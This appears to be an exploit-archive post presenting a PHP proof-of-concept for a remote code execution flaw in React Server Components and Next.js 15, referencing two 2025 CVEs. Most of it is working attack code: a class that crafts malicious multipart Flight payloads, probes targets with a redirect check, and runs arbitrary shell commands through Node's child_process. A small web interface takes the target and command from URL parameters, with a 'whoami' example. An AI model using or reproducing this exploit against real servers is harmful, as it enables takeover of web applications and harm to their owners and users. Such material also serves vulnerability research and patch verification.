============================================================================================================================================= | # Title : Next.js 15 RCE Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://nextjs.org/blog/next-15 | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212599/ & CVE-2025-55182, CVE-2025-66478 [+] Summary : A PHP-based proof-of-concept implementation demonstrating the critical Remote Code Execution vulnerability in React Server Components (RSC) Flight protocol, affecting React and Next.js applications [+] POC : http://127.0.0.1/poc.php targetUrl = rtrim($targetUrl, '/'); } /** * بناء جزء Multipart خبيث */ private function buildMaliciousChunk($refIdx, $reason, $getToken, $nodePayload) { $data = [ 'then' => "\${$refIdx}:then", 'status' => 'resolved_model', 'reason' => $reason, 'value' => json_encode(['then' => '$B']), '_response' => [ '_prefix' => $nodePayload, '_formData' => [ 'get' => "\${$refIdx}:{$getToken}:constructor" ] ] ]; return json_encode($data); } /** * الحصول على قيمة عشوائية */ private function getRandomValue() { $values = ['""', '{}', '[]', 'null', 'undefined', 'true', 'false']; $randomString = bin2hex(random_bytes(8)); $values[] = "\"{$randomString}\""; return $values[array_rand($values)]; } /** * بناء بيانات POST */ private function buildPostData($nodePayload) { $randomReason = -rand(1, 9); $randomRefIdx = rand(0, 9); $getTokens = ['then', 'constructor']; $randomGetToken = $getTokens[array_rand($getTokens)]; // بناء الجزء الخبيث $chunk = $this->buildMaliciousChunk( $randomRefIdx, $randomReason, $randomGetToken, $nodePayload ); // بناء بيانات multipart $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16)); $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"0\"\r\n\r\n"; $data .= $chunk . "\r\n"; $cycleLength = rand($randomRefIdx, 9); for ($i = 1; $i <= $cycleLength; $i++) { $value = ($i == $randomRefIdx) ? "\"\$@{$randomRefIdx}\"" : $this->getRandomValue(); $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"{$i}\"\r\n\r\n"; $data .= $value . "\r\n"; } $data .= "--{$boundary}--\r\n"; return [ 'data' => $data, 'boundary' => $boundary ]; } /** * إرسال الحمولة */ public function sendPayload($nodePayload) { $postData = $this->buildPostData($nodePayload); $headers = [ 'Next-Action: ', 'Content-Type: multipart/form-data; boundary=' . $postData['boundary'], 'User-Agent: ' . $this->userAgent ]; $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => implode("\r\n", $headers), 'content' => $postData['data'], 'ignore_errors' => true ] ]); $response = @file_get_contents($this->targetUrl, false, $context); if ($response === false) { return [ 'success' => false, 'error' => 'Failed to connect to target' ]; } // استخراج معلومات الاستجابة $httpResponse = $http_response_header; $statusCode = $this->extractStatusCode($httpResponse); return [ 'success' => true, 'status' => $statusCode, 'headers' => $httpResponse, 'body' => $response ]; } /** * استخراج كود الحالة من الاستجابة */ private function extractStatusCode($headers) { foreach ($headers as $header) { if (preg_match('/HTTP\/\d\.\d\s+(\d+)/', $header, $matches)) { return (int)$matches[1]; } } return 0; } /** * التحقق من وجود الثغرة */ public function checkVulnerability() { $randomId = bin2hex(random_bytes(8)); $nodePayload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/{$randomId};307;`});"; $response = $this->sendPayload($nodePayload); if (!$response['success']) { return "Failed to connect to target"; } if ($response['status'] == 303) { $headersText = implode("\n", $response['headers']); if (strpos($headersText, "/{$randomId};push") !== false) { return "Vulnerable! The target appears to be exploitable."; } } return "The target does not appear to be vulnerable."; } /** * تنفيذ الأمر */ public function executeCommand($command) { // تأمين الأمر (هذا مثال فقط، في الواقع يحتاج إلى مزيد من التحصين) $escapedCommand = escapeshellcmd($command); $nodePayload = "process.mainModule.require('child_process').exec(\"{$escapedCommand}\",{detached:true,stdio:'ignore'},function(){});"; return $this->sendPayload($nodePayload); } } // مثال على الاستخدام if (isset($_GET['test'])) { header('Content-Type: text/plain; charset=utf-8'); $target = isset($_GET['target']) ? $_GET['target'] : 'http://localhost:3000'; $exploit = new ReactRCEExploit($target); if (isset($_GET['cmd'])) { // تنفيذ الأمر (لأغراض الاختبار فقط) $result = $exploit->executeCommand($_GET['cmd']); echo "Command Execution Result:\n"; print_r($result); } else { // التحقق من الثغرة echo "Checking vulnerability...\n"; echo $exploit->checkVulnerability(); } exit; } ?>
Warning: For authorized security testing only!
?test=1&target=http://example.com?test=1&target=http://example.com&cmd=whoami